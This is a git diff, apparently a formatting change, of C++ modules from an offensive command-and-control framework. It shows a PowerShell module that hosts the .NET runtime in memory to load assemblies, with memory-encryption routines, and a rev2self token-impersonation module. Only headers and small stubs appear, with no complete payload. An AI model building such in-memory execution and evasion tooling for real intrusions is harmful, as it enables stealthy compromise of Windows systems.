#include "HostControl.hpp"
|
||||
|
||||
// Import mscorlib.tlb (Microsoft Common Language Runtime Class Library).
|
||||
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
rename("ReportEvent", "InteropServices_ReportEvent")
|
||||
|
||||
#endif
|
||||
@@ -24,9 +24,9 @@
|
||||
#ifdef _WIN32
|
||||
struct AssemblyModule
|
||||
{
|
||||
mscorlib::_AssemblyPtr spAssembly;
|
||||
std::string name;
|
||||
std::string type;
|
||||
mscorlib::_AssemblyPtr spAssembly;
|
||||
std::string name;
|
||||
std::string type;
|
||||
};
|
||||
#endif
|
||||
|
||||
@@ -35,56 +35,56 @@ class PwSh : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
PwSh();
|
||||
~PwSh();
|
||||
PwSh();
|
||||
~PwSh();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
bool m_firstRun;
|
||||
bool m_firstRun;
|
||||
|
||||
int clearAssembly();
|
||||
int clearCLR();
|
||||
int clearAssembly();
|
||||
int clearCLR();
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
bool m_memEcrypted;
|
||||
bool m_moduleLoaded;
|
||||
bool m_memEcrypted;
|
||||
bool m_moduleLoaded;
|
||||
|
||||
// initCLR
|
||||
ICLRMetaHost *m_pMetaHost;
|
||||
ICLRRuntimeInfo *m_pRuntimeInfo;
|
||||
ICLRRuntimeHost *m_pClrRuntimeHost;
|
||||
MyHostControl* m_pCustomHostControl;
|
||||
ICorRuntimeHost* m_pCorHost;
|
||||
IUnknownPtr m_spAppDomainThunk;
|
||||
// initCLR
|
||||
ICLRMetaHost *m_pMetaHost;
|
||||
ICLRRuntimeInfo *m_pRuntimeInfo;
|
||||
ICLRRuntimeHost *m_pClrRuntimeHost;
|
||||
MyHostControl* m_pCustomHostControl;
|
||||
ICorRuntimeHost* m_pCorHost;
|
||||
IUnknownPtr m_spAppDomainThunk;
|
||||
|
||||
// loadAssembly
|
||||
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
int initCLR();
|
||||
int loadAssembly(const std::string& data, const std::string& type);
|
||||
int invokeMethodDll(const std::string& argument, std::string& result);
|
||||
int encryptMem();
|
||||
int decryptMem();
|
||||
// loadAssembly
|
||||
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
int initCLR();
|
||||
int loadAssembly(const std::string& data, const std::string& type);
|
||||
int invokeMethodDll(const std::string& argument, std::string& result);
|
||||
int encryptMem();
|
||||
int decryptMem();
|
||||
|
||||
std::vector<AssemblyModule> m_assemblies;
|
||||
std::vector<AssemblyModule> m_assemblies;
|
||||
|
||||
mscorlib::_AssemblyPtr m_spAssembly;
|
||||
mscorlib::_TypePtr m_spType;
|
||||
variant_t m_vtInstance;
|
||||
mscorlib::_AssemblyPtr m_spAssembly;
|
||||
mscorlib::_TypePtr m_spType;
|
||||
variant_t m_vtInstance;
|
||||
|
||||
HANDLE m_ioPipeRead;
|
||||
HANDLE m_ioPipeWrite;
|
||||
HANDLE m_ioPipeRead;
|
||||
HANDLE m_ioPipeWrite;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -35,9 +35,9 @@ __attribute__((visibility("default"))) Rev2self* Rev2selfConstructor()
|
||||
|
||||
Rev2self::Rev2self()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -48,14 +48,14 @@ Rev2self::~Rev2self()
|
||||
|
||||
std::string Rev2self::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "rev2self:\n";
|
||||
info += "Drop the impersonation of a token, created with makeToken\n";
|
||||
info += "exemple:\n";
|
||||
info += "- rev2self\n";
|
||||
info += "rev2self:\n";
|
||||
info += "Drop the impersonation of a token, created with makeToken\n";
|
||||
info += "exemple:\n";
|
||||
info += "- rev2self\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int Rev2self::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
@@ -63,7 +63,7 @@ int Rev2self::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd("");
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -72,16 +72,16 @@ int Rev2self::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
std::string out = rev2self();
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(out);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
std::string Rev2self::rev2self()
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
@@ -94,5 +94,5 @@ std::string Rev2self::rev2self()
|
||||
result += "Fail to revert to self.\n";
|
||||
#endif
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user